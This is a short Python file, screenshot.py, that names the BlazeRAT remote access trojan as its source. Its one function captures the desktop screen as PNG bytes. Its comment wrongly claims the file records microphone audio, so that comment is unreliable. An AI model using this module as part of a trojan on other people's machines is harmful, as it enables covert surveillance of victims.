screenshot.py 408 B

123456789101112131415161718192021
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from io import BytesIO
  5. from pyscreenshot import grab # pip3 install pyscreenshot
  6. """
  7. Author : LimerBoy
  8. github.com/LimerBoy/BlazeRAT
  9. Notes :
  10. The file is needed
  11. to record audio from a microphone
  12. """
  13. """ Create desktop screenshot """
  14. def Capture() -> bytes:
  15. obj = BytesIO()
  16. grab().save(obj, format="PNG")
  17. return obj.getvalue()